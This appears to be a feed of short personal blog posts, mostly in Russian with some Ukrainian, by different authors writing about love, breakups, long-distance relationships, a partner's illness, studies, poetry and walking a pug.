хочу написать пост о "любви". о любви и не любви во всех ее проявлениях. что такое любовь ? у каждого свой вариант ответа. каждый сам для себя решает: любовь или нелюбовь, любить или нет. хочу по этому поводу сказать одно - любовь оооооочень странная штука. ну вот серьезно! как много в жизни казусов из-за любви, какая она коварная, например. в моей жизни сейчас творится какой-то пиздец. я изрядно пытаюсь заполнить свою пустоту разными плохими штуками. также легче. я просто забила на все и поняла, что это не всегда хорошо. раньше я себе больше нравилась…а может то была не я? я снова отступаюсь от темы. как я понимаю, любовь играет немаловажную роль в моей жизни. и вот расставшись со своей первой настоящей любовью, я пускаюсь в омут похуизма и пытаюсь завести новые отношения. да не тут-то было! либо мне нравится человек, либо я нравлюсь человеку. оп! полюса не совпадают! и как бы вы ни пытались построить отношения в одностороннем движении - нихуяшечки у вас не получится! :) вот сначала я позволила человеку любить себя и он мне очень быстро надоел, ибо мне было целиком и полностью насрать на него. сейчас вроде как обратная ситуация с другим человеком. мы тусуем с другом, он мне нравится, я ему тоже, но любит он другую. я это знаю, я это вижу по нему, но продолжаю с ним общаться ибо мне это нравится. но это вдвойне губит меня. мне больно за него, что он ее так любит, а она просто ш. либо тоже любит другого, а его "держит при себе". что хочу сказать, ребят, это так ужасно. не делайте такое по возможности. не заполняйте свою пустоту пустотой другого человека. это больно. это сложно в нашей жизни - найти что-то хорошее, а не очередную болезненную привязанность. мне очень грустно от всего этого. любовь - это бесконечное счастье. бесконечное счастье с постоянным риском попасть под откос. я желаю вам взаимности и не иначе. мы достойны этого.

А меня одну коробит, когда кто-то говорит "я со своей пошёл", "с моим вчера поругались"? Это так по-колхозному, прям сразу представляется глухая деревня, где сидит компания на завалинке местного ДК (а кто-то на кортах), лузгает семечки и делится, чего своя-то вчера учудила

есть один парень.я выбрала его еще когда впервые села с ним рядышком.

4 вещи - это мало.мне есть чего ему рассказать…и этого "чего" слишком много

ну может:

  • я думаю, о нас, когда нибудь снимут фильм.
  • что мне сделать чтобы ты стал улыбаться?
  • я куплю белизну и отбелю твою рубашку, возможно, за одно еще и поглажу ее
  • будь со мной, пожалуйста
  • К этой мысли рано или поздно приходит каждый. И это абсолютно нормальная, холодная и приемлемо жестокая правда жизни. Я жалею лишь о том, что узнала её слишком рано. Итак. Вот оно что. Первый раз, когда ты поверишь кому-либо так сильно, что будешь готов умереть за это, окажется твоим последним разом, когда ты кому-либо поверишь.

    А я вчера опять заболела. Если бы сейчас до сих пор работала-сегодня был бы мой рабочий день :) полагаю, что это нервы :) И ещё хочу какой-нибудь ритуал от порчи произвести)) второй раз в жизни возникло такое желание, когда всё прям до странного плохо, ну не верю я, что со мной за месяц столько хуйни может произойти :)

    была у врача. дали упражнения. понимаю, что не могу делать их без дикой боли.
    называется, начни копать и докопайся..

    Дорогие мои, девушки. Давайте будем хоть немного думать. Серьезно. Научитесь просчитывать на пару шагов вперед свои поступки, подбирайте слова. Знайте, где не нужно спешить проявлять свои эмоции. Чтобы потом каждый вечер не жалеть, не прокручивать каждую секунду разговора/встречи. Черт.

    О Боже! И ведь кто-то называет мои каракули стихами!
    И ведь кто-то считает меня остроумной, веселой, умной, и даже (Господи, ты только послушай!) красивой.
    Они все считают меня сгустком эмоций, позитива, счастья.
    Они думают, что у меня все всегда лучше всех.
    И эти кто-то не умеют смотреть в душу через её зеркала. Не знаю к счастью это или к печали.
    Ведь в душе у меня черная дыра.
    У меня внутри непроглядная тьма.
    Там пустота.
    Она кричит, кусает и рвет меня на части.
    Она даже не пугает меня больше.
    Она стала моим домашним питомцем.
    Я кормлю её новыми несчатьями, предательствами, разочарованиями.
    И растаться с ней не могу. Все же она кусочек меня.
    А пока… А пока я пошла излучать позитивоэнергию. Жаль только она фальшива.

    5'nizza – I Believe In You
    Трек моих последних недель полностью отражающий все события. Я счастливая. Новая компания, новые знакомства, чудесные вечера, испытания новых для меня вещей и новых ощущений. И очень важное - парень, который мне очень нравится, чем дальше тем больше, и кажется это взаимно. ;)

    Вчера посмотрев "Автостопом по галактике" зашла вк на его страницу, и среди постов нашла тот, что отражает наши "отношения" и поставила лайк даже не на пост, а на фотографию к посту. А сегодня днем на ловушку вк (замаскированный под спрашивай.ру) попалась его девушка. "Все ясно с вами…" - подумала я. Несколькоми часами позже выходя с подругой из общаги краем глаза заметила парня у входа, мозг дал сигнал "Р!", но сразу же выдал ошибку, я присмотрелась и убедилась, что это он. Он стоял у машины, в котором сидела шумная компания, а пассажирская дверь была открыта, и оттуда выглядывала чья-та попа. По испуганному взгляду Р. я понята, что столь прекрасная пятая точка пренадлежит его девушке, я сделала вид, что незаметила своего двухметрового бывшего-лучшего-друга с расстояния вытянутой руки и ушла.

    Что я могу сказать… Пора смириться, что его не вернуть, он сделал свой выбор (или за него сделали).

    Ты осталась нисчем, Гульшат.

    "Ты, Анька, в какую жопу ни попадешь - сразу начинаешь наводить там уют и выращивать цветочки на подоконнике "

    Ну и неправда, не сразу. Я сначала расстроюсь, может даже пореву, в крайнем случае - напьюсь, пару дней промотаю у себя в голове мысль "за что?", и только потом уже начну обживаться.

    В этом ничего хорошего нет, на самом деле. Смирение - ужасная вещь.

    Как-то даже не верится, что каникулы подошли к концу. Но волнительно и радостно. Завтра - сборы с директором моего практикотеатра и нашим мастером (руководителем курса). Чую, будет промывка мозгов и долгое чтение нотаций (ну, как в тот раз). Потом нам выдадут договора на практику и требования к отчету, и мы неторопливо разбредемся по театрам. (Настолько неторопливо, что, maybe, за неделю так и не дойдем)

    В прошлый раз я попала в театр.. хоть и с унылым настоящим, но богатым и интересным прошлым. Директор спросила меня, что я о нем знаю или что я в нем смотрела… Так стыдно мне не было давно. Вот это, пожалуй, единственные грабли, которые не станут граблями, а все-таки научат меня чему-то. Сижу, копаюсь в сайте театра, заучиваю основные фамилии и даты. Но я и здесь никогда не была, и это невежество до завтрашнего утра никак не замаскируешь.

    Вспомнила, что давно хотела сходить туда на один спектакль. Полистав репертуар, поняла, что даже больше, чем на один. Еще он всего в двух станциях на метро от вокзала. Да, я во всём нахожу свои плюсы.

    когда он нервничает, он так мило закусывает губу, и крутит свое "спаси, сохрани" на пальце левой руки, когда улыбается—ямочки образуют правильную дугу. и сказать, что он абсолютно чист, я, знаете, не могу, но когда он ловит мой взгляд, я готова простить ему все грехи .

    Господи. Какую же гадость? я осознала.

    Иногда мне страшно оттого, что я краешком глаза замечаю армию тараканов в моей голове. Я не могу взглянуть им в лицо. Я, как плохая хозяйка на кухне, боюсь увидеть масштаб проблем, мне проще считать, что тараканов нет или их мало. Да, пробегают тут иногда парочка. Так я их сразу и давлю тапочком. Но когда я слышу шебуршание полчища насекомых за шкафчиком, я в панике сбегаю. Мне не хватает смелости отодвинуть шкафчик и увидеть, что их МНОГО, они БОЛЬШИЕ и СТРАШНЫЕ. Сотню тараканов тапочком не придавишь. Особенно сотню больших тараканов.

    А всё это о том, что я всё пытаюсь жить осознанно, но пока получается плохо.

    #армия_пост_№36

    Я очень соскучилась. Очередные выходные без дела я поняла, как мне не хватает моей почти семейной жизни с А. Как мы проводили вместе время. Даже если бы просто были рядом, нам было хорошо. Даже если он сидел играл в телефон, а я смотрела телек, нам было хорошо просто рядом.

    Я готовила обеды и ужины. Утром мы вместе готовили завтрак иногда. Мы принимали вместе душ. Я не любила, когда ему нужно было уйти куда-то. Я хочу готовить для него что-то вкусное, ходить с ним гулять куда-то или просто по улице. Хочу чесать ему спинку перед сном, во время сна и в любое время просто потому, что ему это нравится. Хочу слушать, как он чем-то доволен или нет на работе.

    Я всегда им гордилась. Он занимал первое место в московских и международных конкурсах, ездил участвовать в конкурсах за границу. В нашем колледже он был лучшим. Он обладает своей профессией лучше других. Он даже в играх с танками лучший среди своего окружения. И для меня он лучший. Мне всегда было и будет стыдно, что я не могу ему соответствовать, что не участвую в конкурсах, не стремлюсь стать лучшей. Я хочу быть лучше для него, чувствовать его гордость за меня, его поддержку и веру в меня. Но я не всегда это чувствую. А сама в себя я почти не верю. Мне кажется, что я живу в его тени. Когда он был рядом со мной, я распределяла свое время и успевала все свои дела. Потому что мне нужно было успеть заняться учебой, уделить время близким и любимому и сделать дела по дому. А сейчас я не могу заставить себя сделать что-то. Особенно в учебе.

    Для меня он все еще служит. Даже если он в госпитале. Он все равно еще числится военным. Он сам попросил меня думать, что он еще служит, чтобы было проще воспринимать время его лечения. Я надеюсь, что химиотерапия поможет ему и мы снова будем вместе. Хочу снова засыпать с ним, беситься от него, слушать его ворчание, обнимать его в любое время, тискать его бороду. Он мне нужен.

    07.02.2016

    Я не знаю, что мне делать… Я устала от постоянных переживаний за него и за то, что он может мне иизменить. Не хочу с ним расставаться, потому что привыкла, потому что когда я с ним, мне ужасно хорошо. Я смогла забыть всех предыдущих парней, я счастлива сейчас, но… И это "но* постоянно в моей голове. Отношения на расстоянии это ад. Я устала от этого. Я рада, что он есть, но я так больше не могу. Нужно расставаться, понимаю головой, но не тем, что внутри меня. Ааааа, ну за что? Что мне с этим всем делать? Ещё и его сестра все время напоминает про его бывшую. Скоро сойду с ума

    Попыталась создать блог заново, но, увы, интернет против. Может быть он просто бережет меня. Лучше буду писать в "стол". В чем проблема написать сюда то, что хотела бы писать в открытую? Наверное именно в открытости, в реакции на пост.

    А написать я хотела, что мне даже почти понравились такие выходные, я переделала некоторые из своих дел, посмотрела то, что хочу сама, готовила именно для себя и вообще все делала для себя. Почему же мы так зависим от мужчин?

    Вчера я готова была биться в истерике от одной только мысли, что не смогу провести с ним выходные. Несмотря на то, что выходные с ним и без него отличаются только лишь подстраиванием под него, но при этом я ведь тоже люблю те же вещи, что и он. Или внушаю себе, что люблю? В любом случае для меня всегда катастрофа, когда я без него. Как будто мир останавливается. Но вот я провела два прекрасных дня и я даже рада, что все было именно так. Нужно любить себя и, может быть, тогда смогут полюбить другие!

    Вчера ездили на день рождения к другу моего мужика.

    26 ему исполнилось, приехали в его квартиру где они живут со своей молодой женой и их 4-месячным сыном (у них мы были уже раньше на «каше» - когда празднуется первый месяц ребенка). С его женой я толком не знакома, как бы велика наша разница опытов, да и видимся всего раз 3. Но поскольку я была единственной девушкой в компании, то она за меня ухватилась как за спасательный круг. И говорила говорила говорила.

    Мне так грустно было. Вот хоть и сидит она с этим Димасиком на руках, и целует и обнимает, но столько уже в ней усталости от этого всего. А ему всего то 4 месяца, то есть еще даже не самый «разгар».

    Женщины и так то устойчивой психикой никогда не отличались, а тут еще и это материнство. Не понимаю, почему мать-героиня-это если много детей, да к третьему они уже выплевываются как кожурки от семок, решиться на первого – вот подвиг. Но перейдем уже к сути.

    Когда наши мужики уже допили свои 2 литра вискаря, то, как то вдруг решилось, что эти три богатыря в компании со мной едут к нам домой курить кальян. В Свете, конечно мелькнули какие то надежды и воспоминания, но Димасик на руках их быстро погасил.

    Доезжем до нашего дома, и этот, простите, муж, забирает телефоны своих друганов, пальчиком делает мне «тсс» и уезжает в неизвестном направлении.

    Телок,

    блять,

    снимать.

    Сука у меня прям бомбануло.

    И ведь дело то даже не в измене, Это же как ребенка ударить. Ей ведь ни отомстить, ни даже уйти от тебя мудака невозможно. Насколько я знаю, она его таки спалила утром. Но толку от этого?

    Как-то так произошло, что через пару месяцев мне 21 и в этом году я получу высшее образование. Казалось бы, к этому-то времени что-то должно было определиться, что-то обязано было выйти на первый план. И где? И нет, я ничуть не особенная, все вокруг (ну практически все) пребывают в таком же состоянии. Куда податься? Что дальше-то делать? Так получилось, что я выбрала теорфизику, что теперь? Что конкретного ты умеешь? Не говоря уж о том, что первые курсы уже позабылись в памяти. Так ради чего все это потраченное время? Неужели в пустую? Сколько еще времени нужно на самокопание, чтобы найти ответы на все эти вопросы?
    Сезон рефлексии официально открыт.

    Я, от части, была влюблена в музыкальный вкус Солнца. Он слушал ну очеень крутую музыку. Помню, мы как-то повздорили на пару дней. Я молча целыми днями слушала его аудио, специально транслируя в статус. Он долго не думал и скрыл их от меня. Я тогда сразу же офигела и давай ему писать, мол, ты что, вообще страх потерял? А он мне "скрыть от тебя свои аудио - это теперь единственный способ заставить тебя со мной заговорить?!". И всё бы ничего, но вот сейчас вк мы уже молчим пару-тройку недель. Два дня назад он скрыл аудио. Несколько дней назад я просила знак здесь, на вьюи. Кажется, пора начинать верить в магию.

    Я родилась 30 января. В день его свадьбы, только восемью годами раньше. Когда он приходил ко мне в день рождения, у него всегда было два букета. Один для меня. Ко дню рождения. Чудесный. Чтобы обхватить его, надо было вытянуть обе руки. Второй для жены. Он клал его на подоконник в кухне. Так, чтобы не привлекать внимания. Сделать вид, будто это что-то вроде его папки. Чтобы он не лежал в гостиной, где мы на полу занимаемся любовью, либо в спальне, если мы успели туда добраться.

    Афанасий Фет

    Я тебе ничего не скажу,
    И тебя не встревожу ничуть,
    И о том, что́ я молча твержу,
    Не решусь ни за что намекнуть.

    Целый день спят ночные цветы,
    Но лишь солнце за рощу зайдёт,
    Раскрываются тихо листы
    И я слышу, как сердце цветёт.

    И в больную, усталую грудь
    Веет влагой ночной… я дрожу,
    Я тебя не встревожу ничуть,
    Я тебе ничего не скажу.

    2 сентября 1885

    Ночь за окном становилась утром,

    также молчал телефон любой

    но лучше так, чем больно и мутно

    Это назвали - любовь

    6 фотографий, доказывающих, что лучше гор могут быть только горы.

    А вот и вторая часть красоты.
    И нет, я не успокоюсь.

    Одно из самых захватывающих зрелищ в мире — это виды, которые открываются с высоты горных вершин. В такие моменты чувствуешь себя совсем маленьким и преклоняешься перед величием природы. И после каждой покоренной горы следует другая, а потом еще одна — просто потому, что невозможно остановиться…

    Природа создала горы в наказание людям, когда ей захотелось их унизить.

    Для себя я выяснила одно- счастье любит тишину.
    Поняла девушек, у которых количество фотографий с молодыми людьми сведено к минимуму. И поверьте, это не от недостатка любви. Есть два человека и их мир. И никто не знает, что происходит за закрытыми дверьми.
    Чем меньше выносишь что-то на всеобщее обозрение, тем лучше (по крайней мере для меня). Мне хочется писать о своих мыслях, не всегда позитивных, об учебе, музыке, фильмах, архитектуре, путешествиях, котах в конце концов. Но никак не выливать негативные эмоции. Делиться хорошими впечатлениями и эмоциями-пожалуйста, эти моменты запомнятся. Выливать негатив-увы, нет, и не хочу рядом иметь людей, которые всегда в унынии, тем самым заряжают пессимизмом. Поддержать в трудную минуту-всегда; ныть о том как тяжко, трудно, все навалилось-нет. Мысли материальны.
    Все хорошо и будет хорошо, чего всем и желаю.

    Учёба горит, дипломный сценарий ждёт, постановки машут рукой, зовут к себе, а я гнилая сушка.
    Слишком продолжительное бездействие превратило меня в знатного уваленя. Не бездействие, знаю, сама себя сделала такой.
    Нужно возвращаться.

    Книги всегда помогают включить шурум бурумчики. Если кто-то меня ещё читает, не подскажите ли хорошую книгу? (Не о любви, не о страданиях, а что-нибудь мотивирующее)

    Нарушаю сразу все свои правила, вместо завтрака-ром, пью один, а потом сажусь за работу полупьяный. Головная боль отступает на задний план, жизнь отступает на задний план. Ром делает со мной невероятное, необьяснимое, и хочется свернуться калачиком и позволить стащить себя с кровати в небытие.

    смотреть на морось в свете фонаря на стоянке, бродить по огромному почти пустому супермаркету в десять вечера, просить отца приготовить яичницу с помидорами, читать перед сном сестре Тома Сойера..

    последние недели дома всегда счастливые и немного грустные.

    недавно у меня родился брат.не родной, но в общем -то у нас в семье это неважно. второй раз мы собираемся у них в большом доме, рассматриваем кроху так долго, как не рассматривают ни одну картину в мире, фотографируем его постоянно. я даже держала его, такого теплого, спящего.гладила его крохотные ручки, рассматривала его кожу, губы, закрытые глаза.. это потрясающее чувство - знать, что держишь на руках такого маленького и внутренне чистого человека. еще пару недель назад мы не знали, как он будет выглядеть, а теперь мы так быстро к нему привыкли.

    я не знаю, что ждет меня дальше, приживусь ли я в новом городе, найду ли я себя или хотя бы работу, но сейчас мне так хорошо.я наслаждаюсь каждым мигом дома, среди родных, в колледже, в привычной обстановке. по крайней мере, мне всегда есть куда вернуться.

    Я встретила парня, он настолько отличается от всех остальных, что мне ужасно страшно. Страшно привыкать к нему, а вдруг он исчезнет? Страшно и странно рассказывать ему о всем, что происходит со мной в жизни. Странно, что он действительно интересуется моими желаниями и мечтами. Илья совершенно другой. Когда я с ним познакомилась, я была уверена, что мы разные и просто не можем вместе существовать. Но он продолжает открывать во мне что-то новое. Я ужасно боюсь влюбиться. Может даже слишком. Я боюсь того, что он не такой, как те, с кем я раньше встречались или в кого влюблялась. Я не знаю, чем это обернется, но пусть все будет так, как сейчас.

    • В першу чергу я зробила себе такою, а потім зробила так щоб ви мені повірили. Багато хто із вас будують мене в своїй голові, подібно до того як самі хочуть мене бачити, і відчувати, і це, в цілому зовсім не моя проблема.Я спостерігаю, а потім уже приймаю правила гри, якщо вони мене задовольняють, якщо ні, то "сьогодні ми вас вичеркуємо" Кожен сприймає мене по різному, кожен бачить і відчуває по-своєму і я взагалі не можу вгодити кожному з вас, я можу тільки прийняти правила гри.У всіх людей є своя думка, і ви можете її висловлювати.а от чи будете ви почуті, уже питання.Кожен з вас може змусити повірити в себе інших, та чи приймуть вони ваші правила?Можливо вас сьогодні і вичеркнуть, не почують, не помітять, забьють на вас, та можливо завтра ви знову станете потрібні, бо у вас буде щось потрібне або корисне для когось, тим чи іншим способом.
    • В другу чергу, я повірила в людей, і змусила себе знаходити у ваших обличчах щось, що я зможу написати в своєму новому дописі.І я знаходжу.Бо у кожного є дещо таке, чого я не знайду безмірному всесвіті своїх думок.От чому ви всі мені і потрібні.

    Воздуха в лёгких катастрофически мало, в пятницу поругались, кинула фразу чтобы возвращался к своей серой мыши. Пажалела. Расстроилась, смыла грусть в перемешку со слезами, привела себя в норму легла спать. Заснуть так и не получилось, не могу засыпать с ним врозь. Поняла что наговорила лишнего. Мы девушки слишком эмоционально воспринимает все, делаем из маленьких историй целый том, на 300 с лишнем страниц и так же долго перевариваем прочитанное, придуманное. Вроде помирились, пришла вчера домой а там букет роз, он все таки лучший. Лучший для меня. И я верю в него, переживаю, по кусочкам собираю в одну большую коробку все моменты с ним. Без него будни были бы пустые. Как тогда когда он уходил. До тошноты боюсь того времени, этот пронизывающий холод. Причина всех слез и срывов чаще всего в моей убеждённости в том что меня ему всегда будет мало. В том что как тогда я приду в пустую квартиру и почувствую этот холод, что там меня больше не ждут. Когда нибудь возвращается доверие к людям, кто нибудь исцелялся после предательств так чтобы не мысли и без того захламлённую голову. Я люблю его больше чем могла себе представить но чувство доверия такое хрупкое. И каждый день засыпая я говорю спасибо тому кто бережёт каждого из нас и прошу не забирать то что сейчас есть. Надеюсь он слышит.

    В голове не укладывается, что так много мест, фильмов, книг, музыки, которых человек никогда не посетит, не прочтет, не увидит и не услышит.

    Прикуривать две одновременно, чтобы потом одну отдать. Обмениваться сигаретным дымом. Пить красное сухое, наблюдая за проходящими мимо кораблями. Целоваться, пока машина едет под 100. Засыпать на плече по пути домой.

    Такое бывает в жизни?

    Мерзкая погода, унылый день, настроение гавно. Мама сидит рассказывает про сына знакомой, который подсел на наркоту и даже представить не может, что ее дочь сидит рядом и думает где бы, на ночь глядя, взять и обдолбаться. Я снова ползу в яму и мне стыдно признаться в том, что это Р и его выходки толкают меня к ней и парадокс в том, что он же меня из нее может вытащить. Он даже не понимает как сильно влияет на меня, мое настроение и поведение. Мерзко зависить от человека. Мерзко быть столь слабохарактерной.

    кто не так уж любит детей, а пошел учиться в педагогический? кто ненавидел лагеря, не может продолжительное время активно двигаться и находиться среди людей, а пошел в школу вожатых? кто об этом пожалел на первом же занятии? все правильно, везде я. сказала маме, что лучше пойду на проводника учиться, потому что а) люблю ездить б) зарплата минимум в два раза выше, а она чет не заценила мою затею. зачем сказала вообще, все равно они в отъезде сейчас, надо было сделать и перед фактом поставить.

    Завтра начало нового семестра. Не хаааачууууу. Будут новые преподы, и говорят, что они ещё те милашки. Из-за одного в том году много кто отчислился, а другому "либо ты нравишься, либо…" И снова философия, мать твою аааааа. И неделя каждая теперь с неё будет начинаться. Да уж, приятное начало.

    С утра приехала в общагу. Пока убиралась, то да сё, разбирала вещи, уже наступил вечер, при этом ночью не спала.

    Этот приехал вечером и сразу зашел ко мне. Причем даже не сказал, что приедет. Сразу начал ныть своим противным голосом о том, что его комната закрыта, а ключи он найти не может. Я к нему старалась даже не поворачиваться (готовила стояла в это время), отвечала односложно. Моя соседка, которая в курсе ситуации, сказала ему прямо: "Полюбовался на красивых женщин? Пиздуй отсюда, мы сейчас убираться будем"; D

    Вернулся через минут 20, а я как раз собиралась идти гулять с одногруппником. Ушла, ничего не сказала, а мои соседи потом его "выкурили" из комнаты; D Больше не возвращался и ничего не писал. Как же он меня бесит. Зачем судьба послала этого человека в мою жизнь?(

    Сходила в магаз сегодня, купила линзы и еды. Завтра пары до шести, наготовила себе кучу с собой; D Так не хочется на учеееебу(

    А еще удалила сегодня волосы над губой восковыми полосками, так весь день кожа красная, как будто у меня аллергия или еще чо (Намазала левомеколем, не знаю, что делать.

    С одногруппником гуляли где-то час или чуть меньше, поболтали, обсудили своих одногруппников; D

    Завтра вставать в шесть, буду тренить, а то вечером после учебы явно не смогу; D А тем временем на часах уже половина первого.

    Курю как паровоз.

    Удачи завтра всем учащимся! Не раскисайте :)

    Всех целую и люблю.

    Мы сегодня встретились и поговорили. Он не знает, хочет он со мной быть или не хочет. Я очень сильно плакала, я начала понимать, что я теряю. Я требую от него то, что мне давало прошлое, я должна отпустить. У меня новый человек с новыми мыслями. А я только всё и порчу своим недовольным характером. Я должна чувствовать сердцем, а я чувствую, что люблю его и хочу прожить каждую минуту своей жизни вместе с ним. Поэтому, я прошу тебя, Боже, верни мне его. Я буду для него самой лучшей, я буду готовить ему свои вареники и печь торты, я буду с ним ходить в спортзал, я буду думать, что я говорю и что делаю. Я постараюсь сделать его самым счастливым, только очень тебя прошу пусть он будет со мной. Я клянусь

    — Культура — это не количество прочитанных книг, а количество понятых.

    Фазиль Искандер. Стоянка человека

    любовь-это прыжок в неизведанное без страховки, что любить-это идти вперёд с завязанными глазами, не боясь того, что может произойти, что любовь, наконец, это сумасшествие…

    Моя знакомая создала интернет проект Армия 2 или "построй свою любовь".

    новый виток сумасшествия официально пошел.

    МАЛЕНЬКАЯ ХУДОЖНИЦА ВОПЛОЩАЕТ СВОИ МЕЧТЫ

    Молодая художница Димитра Милан (Dimitra Milan) всегда росла в окружении искусства. 4 года назад, когда девушка еще только начала рисовать, ее родители открыли Миланский художественный институт в штате Аризона, США и разрешили ей посещать любые занятия, которые она захочет. Так от классической техники рисования маслом до современного смешанного стиля, умения и навыки Димитры росли вместе с ее желанием рисовать. Позже девушка перешла на домашнее обучение и посвятила рисованию все свободное время. Сейчас 16-летняя Димитра Милан стала знаменитым художником-профессионалом.

    «Самый важный совет, который я получила от родителей, был об отношении к труду. Они научили меня тому, что не всегда нужно особое настроение, чтобы рисовать. Ты просто рисуешь. Каждый день, по восемь или девять часов. В рисовании к успеху приводит тяжелый труд, страсть и приверженность делу. Они не только рассказали мне об этом, но и продемонстрировали на примере собственной жизни и карьеры»

    P.S.: Боже, это просто невероятно красиво.

    Послезавтра я уезжаю,
    Послезавтра весь мир рухнет

    Как вести себя дальше не знаю

    Я боюсь что огонь потухнет

    Не в моей душе я уверен

    Не в моем ожидании, право

    Я люблю и любил, я был верен

    И всегда, смотрел я на право

    И опять уже 01:59 а я еще не сплю.Честно очень устала не высыпаться. Вот и денек сегодня особенно конец вечера.Я не понимаю не себя не его и это меня убивает.Я не могу понять его отношения и чувства ко мне. Может и вправду нам нужно расстаться, мы все равно не сможем быть вместе больше… А хотя сегодня я поняла на сколько он мне дорог, после его смс слезы катались с глаз в мои волосы и это такое неприятное ощущение.Рыдать так сильно из-за какой то смски….Глупо наверное (т.э.п)

    Вот да. У меня сразу отторжение какое-то. Даже если мне говорят, что я просто нравлюсь, то мне, может быть, и хочется ответить взаимностью, но всегда будто спотыкаюсь об эти слова. Ни разу не сказала, что мне кто-то нравится. Вживую. А через сообщения - пару раз в жизни.

    Боюсь, что Илья начнет мне в чем-то признаваться, а я сдам назад. Такое уже было, когда он говорил, что я ему нравлюсь, а я просто отвечала "Ага", а "Ты мне тоже" далось тяжелее, чем жим 20 кг. Опасаюсь чувств, наверное.

    Меня очень пугают мысли, что я хочу быть одна. Просто когда я одна, мне кажется я всемогущая. В моей голове начинает происходить круговорот мыслей, как достигнуть цели, как жить дальше, как стать совершеннее и как оставить после себя хоть какой-то след. Я начинаю двигаться вперед, иди к своим желаниям и мечтам… И все благодаря Артему, который протер мои запотевщие очки. И мне кажется, что так близко я могу общаться только с ним. Я человек, который не может без веры, а точнее без веры в меня. А он верит, он каждый раз меня убеждает, что я всего добьюсь и буду не последним человеком в этом мире. И благодаря его вере, я не иду вперед, я бегу. Да, возможно я его не люблю, но это что-то большее.. Это что-то разумное.. Взрослое..И в дальнейшем, очень грандиозное и глубокое. Ну а пока мы на расстоянии больше двух шагов и это уже печально.Но кто ждет, тот всегда получит желаемое! Да ведь, Ксюш? :-)

    Лишний раз убедилась, что я очень отходчивый человек. Стоило поговорить с Полиной, как настроение заметно поднялось. Но все равно этот говенный осадочек остался: / знаете это чувство, когда тяжко, тяжко на душе, хотя понимаешь, что это полнейшая поебота Коротаю вечер за просмотром 1го сезона "Метода Фрейда" и параллельно делаю английский. Завтра пойду на треню, впервые за месяц. Хотела не ходить до ЕГЭ, но понимаю, что сейчас слишком много свободного времени, чтобы тратить его так бесполезно, все таки споро выпускной и пора брать себя в руки, выходить из этих зажорных будней Всем продуктивного понедельника, красавицы!

    У меня есть очень-очень особенный человек. Как, возможно вы скажите, есть у многих. Он для меня безумно дорогой. Хотя нет, не так. Он для меня бесценен. Наши с ним отношения не построены только лишь на одной физической близости, нам обоим понятно, что это взаимопонимание, то как точно мы чувствуем друг друга, уважение и поддержска задуманного - редкое и сильное чувство по имени любовь, которое недоступно, на самом деле, многим.

    Мне встречалась только одна девушка, которая испытала и имеет подобное. Девушка эта, моя хорошая знакомая, любит поразмышлять на философские тематики и именно она открыла мне глаза на то, что я в упор не замечала. Да, я знала это, я интуиктивно понимала это, но не осознавала до конца. То, какие испытания мы преодолели вместе, то, какие испытания ждут нас впереди - все блекнет, когда вы есть у друг друга. Когда даже за тысячи километров ты чувствуешь поддержку другого и ты чувствуешь и знаешь его к тебе отношение.

    Во многих вещах я абсолютно точно не права. Не такая мягкая и нежная, как он на самом деле-то заслуживает. Не такая мягкая и нежная, как ему, наверное, хотелось бы.

    Я делаю поступки, которые некоторые бы не простили, а он ждал и был преданным, любил и поддерживал, каких бы усилий это не стоило.

    Вчера я бесконечно тебя оскорбила. Не в буквальном смысле, но оттенок у моих слов, как мне кажется, был недалек от этого. Ты столько всего мне простил. Я имею ввиду грубость, издевки, далеко не самое примерное поведение. И эти слова, которые я сказала, как мне казалось смогут подстегнуть тебя к действиям, но теперь мне кажется, что эти упреки - самое неблагодарное, что я могла для тебя сделать и что сказать. Ты, разумеется, не нашелся, что мне ответить. А сейчас и вовсе исчез. Тебя нет в моей жизни всего 24 часа и этого мало, чтобы строить выводы. Но видит Бог, я так люблю тебя, что с каждой минутой мне все больше хочется причинять себе физическую боль, чтобы перекрывать то, как на моей душе по-зверски скребут кошки.

    Почему из нас двоих именно я тот человек, который все разруешает?

    Почему я не умею держать свой дурной язык и мысли при себе?

    Почему так много вопросов и не одного ответа?

    Где ты и услышу ли я тебе еще раз снова?

    rakastan sinua.

    Насправді мене лякає таке відношення.Насправді, останнім часом відчуваєш себе якоюсь загнаним і втраченим, загубленим і несуцільним.

    Коли легені дихають холодним повітрям і мозок перебирає кінчиками пальців волосся і пурхає в просторі, боячись замерзнути, стає лячно.Буває розумієш, що все іде не тією дорогою якою хотілось би, і ти прокидаєшся і пливеш в течії розпаленого заліза, піддаючись або гребучи проти неї.А все ж зануритися під гарячу лаву свого "я" часом було б набагато кращє ніж вигребти на берег і померти від нестачі своєї справжньості.І було б на багато кращє вмерти за своє, чим прожити життя в використанні чужого і зовсім не потрібного.

    І отак захлинаючись гарячим потоком розплавленого заліза, живеш день за днем, протікаючи по просторах тіла, розбиваючись об скелі реальності.І не задумаєшся і забуваєш про те що робиш, і що хотілось би робити насправді.

    Мы только что пришли с двух часовой прогулки с Бенджиро, и я под впечатлением от происходящего. Не смотря на февраль, погода сейчас просто чудесная. Наконец-то дни стали дольше, солнце светит ярче, ветра нет. Наконец-то время для длительних прогулок! Ну и пошли мы на местную набережную. Не смотря на то, что тусы мопасей собираются на 7, мы пошли просто сами по себе погулять в четыре. По дороге встречали разных хозяев и играли со всевозможными породами. Была одна такая милашная собачка. Я таких вроде даже не видела. Такая белая, маленькая, ооочень пушистая и нежная что-ли :DD Сдалека я подумала на китайскую хохлатую, но та собачка была слишком маленькая. Потом мы познакомились с новой мопсей из мопсокомпании и зовут ее Габи :D Они так мило гоняли друг друга, что в итоге мы с хозяевами Габи еще прогулялись. Там целая семья, шли общались с молодой парой с ребенком. Мама семейства показывала нам их общие фотографии с летних мопсотусовок и рассказывала про других членов компании. Это так забавно- знать имена всех собак, и при этом даже не называть свои имена друг другу. Это как мы с Бенджи дружим на нашем районе с французским бульдожкой Тори и взрослым мопасей Лео. При этом дружим с нонейм собачкой из частных домов, которая гуляет сама по себе, парой такс (одного помню Чакки зовут) иии китайской хохлатой.

    Так вот Габи такая классная девочка)) Младше Бенджи, но такая толстенькая)) Как боченок. На прощание она зажала в зубах хвост Бенджиро, что он потом забежал мне под ноги и прижался ко мне жопкой :DDDD Бедняга, за хвост потаскали)

    А на обратном пути встретили еще одну девочки с мопсотусни- Бекки, которая тоже хотела укусить Бенджика за жопку) ПО-моему Бенджи уже надоело что все трогают его жопку и уже начать чуть истерить) )

    Вообщем я уже жду не дождусь теплой погодки и солнечных весенних дней, чтобы собраться всей мопсотусней и долго гулять по нашей набережной :)

    Только что с ужасом осознала, что я не помню номер квартиры своего домашнего адреса.

